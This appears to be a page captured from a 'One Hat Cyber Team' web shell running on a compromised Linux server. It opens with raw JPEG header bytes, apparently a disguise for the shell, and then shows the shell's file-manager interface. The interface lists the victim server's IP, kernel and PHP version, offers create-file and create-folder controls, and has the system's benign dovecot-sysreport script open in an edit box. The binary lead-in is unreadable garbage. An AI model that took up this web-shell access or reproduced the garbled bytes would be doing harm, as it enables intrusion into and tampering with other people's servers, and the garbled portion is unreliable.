����JFIF��H�H�����C� %# , #&')*)-0-(0%()(���C (((((((((((((((((((((((((((((((((((((((((((((((((((�������������������������������������������������P������������������������A�!)10������""������"*��@��������#+�OK&������2�Ec�xo����"�P��B}���������������������:9:9=<G$���S,�"5�R2�i��ғ��3ʥ�3@�;":%885I@��e� E��"�H�Z���ς�Z9 .��������[+��M�������������������,��������0" !1234#$5@P`�������?�$|�,.,���1�:�Q��<(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�<���"8#_i���x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n���.�:v��]�Mk��E�Gh�Ѐ"��B���i�f�<��O:��J�ԍ]o�҈g��Zz�!Xg{<6R�{�x'��`M����?�[Z�ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ��� �� h��5� ���\��������������������������?4������������������������?4�����4� �������!1"02AQqa 3B��#@P`r��������?��f`��Y�ʉ�j����Zkx��@N�JaS������}����r��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#��l�9�<���A���Pu��k�������8� � �4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o} mM����kF \�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:����e��1��w�m��[MA���č��Vj��mȵ�z)�� č��}��n�(���9��?���)��������!1AQ0aq��� ��@�P`����?!��@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N>��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\��:�+R��-�/9�Z �O�A*��|��+,u�~�#G �B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS��cNI��F���x1F9 �m��@��YڭQ�+(��D��Dߵ[���$�M���&��D�Z�V��&ձGi�@�t}�к�/+�4����wd0Dh���� ��aa�M='�g�UK�M��7�M+�O}�� ��4�r�ԋ�t��g\F,0���k��aX���U� ��5y��6�@�2�� ��DmZ�V{�9]A�.m�EKZ��2 ���?���������I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I ��$�I$�I$I$�II$�I$� �I$�I$�I$�I�A$�I$� �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$�����������������������?4������������������������?4�����+��������!1AQ�aq�0����� ��@P`����?�����(Ir��ʲo��(��#)�0�a �?&�4�0�~��4Տ���K�Fhg~�����թ̛]NH ����}��N��:��5{y���o�BNb���s������C��t��kM�)j*D��$<�������gN���C��s%A#�*��=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T���IH������0r�"�%\~�%aJ��3�����iԁ �_�!�G�d ;�O�=$ VXx�� ����B�KSZtk�&�#��)�p0�P��Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&C����"��gzu%�`08[^���Us���7��нWźU��� �z����4)B��e-�HV%Hh7�ԑ��A(�>hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z��\��!2��)Y��9�Em8�,��_WeD3¢���a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P>ƌH��ߤ;Vn�q������JH� ?�� A�0�H��E�������jV�U��&H����� ��I�b&3�MF@H��L�E� CV-k6 �T:W���&3y��-օ�cB�6�#�h�VL{Q�0 ���Y��
One Hat Cyber Team
One Hat Cyber Team
Your IP :
3.14.136.92
Server IP :
167.114.57.54
Server :
Linux vps.riaoverseas.com 3.10.0-1160.15.2.el7.x86_64 #1 SMP Wed Feb 3 15:06:38 UTC 2021 x86_64
Server Software :
Apache
PHP Version :
8.0.18
Buat File
|
Buat Folder
Dir :
~
/
bin
/
Edit File Name :
dovecot-sysreport
#!/usr/bin/env bash set -eu dest="dovecot-sysreport-$(uname -n)-$(date +'%s').tar.gz" conf_flag="" binary="" core="" core_files="" keep_temp=0 PARAMS="" SRTEMP="`mktemp -d`" if test "x$SRTEMP" = x; then echo "Could not create temp directory" exit 1 fi while (( "$#" )); do case "$1" in -d|--destination) if [ "$#" -lt "2" ] ; then echo "Usage: $0 $1 <destination.tar.gz>" exit 1 fi dest=$2 shift 2 ;; -c|--config) if [ "$#" -lt "2" ] ; then echo "Usage: $0 $1 <config_file>" exit 1 fi conf_flag="-c $2" shift 2 ;; -o|--core) if [[ "$#" -lt 3 ]] ; then echo "Usage: $0 $1 <binary> <core>" exit 1 fi binary=$2 core=$3 if ! [ -r "$binary" ]; then echo "$binary not readable" exit 1 fi if ! [ -s "$core" ]; then echo "$core not found or it is empty" exit 1 fi gdb=`which gdb` if [ "$gdb" = "" ]; then echo "gdb not found" exit 1 fi echo "gathering core file dependencies..." core_files=$((echo "info shared"; sleep 1) | $gdb $binary $core | grep '^0x.*/' | sed 's,^[^/]*,,') cp $core $SRTEMP shift 3 ;; -k|--keeptemp) keep_temp=1 shift ;; -h|--help) echo -e "dovecot-sysreport \t[-h|--help] [-c|--core binary core] [-d|--destination dest] \t\t\t[-k|--keeptemp] -- utility to gather information from the current \t\t\tsystem to be reported for dovecot bug fixes." echo "" echo -e "where:" echo "" echo -e "\t-h, --help\t\tShow the contents of this help." echo -e "\t-d, --destination\tThe file location which the report archive should be put to. \t\t\t\tThe default value is dovecot-sysreport-<hostname>-<current_timestamp>.tar.gz" echo -e "\t-c, --config\t\tSpecify the root configuration file of dovecot." echo -e "\t-o, --core\t\tInclude an specific core file along with its dependencies." echo -e "\t-k, --keeptemp\t\tDo not remove temp files at the end." exit 0 ;; --) shift break ;; -*|--*=) echo "Error: Unsupported flag $1" >&2 exit 1 ;; *) PARAMS="$PARAMS $1" shift ;; esac done eval set -- "$PARAMS" mkdir $SRTEMP/conf doveconf $conf_flag -n > $SRTEMP/conf/dovecot.conf unwrap_and_hide_pass () { files=`grep -zPo 'dict\s*{[^}]*}' $1 | grep -zPo '.*=.*:\K(.*)' | tr '\0' '\n'` files="$files `grep -zPo 'args\s*=\s*\K(.*)' $1 | tr '\0' '\n'`" for cf in $files; do if [ -r "$cf" ]; then if [[ ! -z `grep -vhIE '^([^:]*:){6}[^:]*$' $cf` ]]; then unwrap_and_hide_pass $cf mkdir -p $SRTEMP/conf"$(dirname "$cf")" if [[ -x "$(command -v python)" ]]; then python <<HEREDOC import re conf = open('$cf', 'r').read() hidden = re.sub('(?<!no)((?:password|key|nonce|dnpass)\s*=\s*).*?(?=$|\s)', '\g<1>#hidden', conf) f = open('$SRTEMP/conf$cf', "w") f.write(hidden) f.close() HEREDOC elif [[ -x "$(command -v perl)" ]]; then perl -pe 's/(?<!no)((?:password|key|nonce|dnpass)\s*=\s*).*?(?=$|\s)/\1#hidden/g' \ $cf > $SRTEMP/conf$cf else echo "perl or python is required to hide your passwords in dovecot's" echo "configuration files. Either install at least one of them or" echo "continue at your own peril. Do you want to continue (N/y)? " read permit if [ "$permit" != "Y" ] && [ "$permit" != "y" ]; then exit 1 fi cat $cf > $SRTEMP/conf$cf fi fi fi done } echo "Gathering configurations ..." unwrap_and_hide_pass $SRTEMP/conf/dovecot.conf echo "Gathering system informations ..." doveadm $conf_flag log errors > $SRTEMP/log_errors ps auxwww | grep '[d]ovecot' > $SRTEMP/ps_output doveadm $conf_flag service status > $SRTEMP/service_status doveadm $conf_flag process status > $SRTEMP/process_status uptime > $SRTEMP/uptime_output doveadm $conf_flag stats dump > $SRTEMP/stats_dump sleep 1 echo -e "\n\n###################### AFTER ONE SECOND ######################\n\n" | \ tee -a $SRTEMP/ps_output $SRTEMP/service_status $SRTEMP/process_status \ $SRTEMP/uptime_output $SRTEMP/stats_dump > /dev/null ps auxwww | grep '[d]ovecot' >> $SRTEMP/ps_output doveadm $conf_flag service status >> $SRTEMP/service_status doveadm $conf_flag process status >> $SRTEMP/process_status uptime >> $SRTEMP/uptime_output doveadm $conf_flag stats dump >> $SRTEMP/stats_dump cf=`pwd` cd $SRTEMP echo "Creating archive ..." tar -czf `if [[ "$dest" = /* ]]; then echo $dest; else echo $cf/$dest; fi` --dereference \ $binary $core_files * function cleanup { if [ $keep_temp = 0 ]; then echo "Removing temp files at $SRTEMP ..." rm -rf $SRTEMP else echo "Temp files remains untouched at $SRTEMP ..." fi } trap cleanup EXIT echo "All done! Please report file $dest"
Save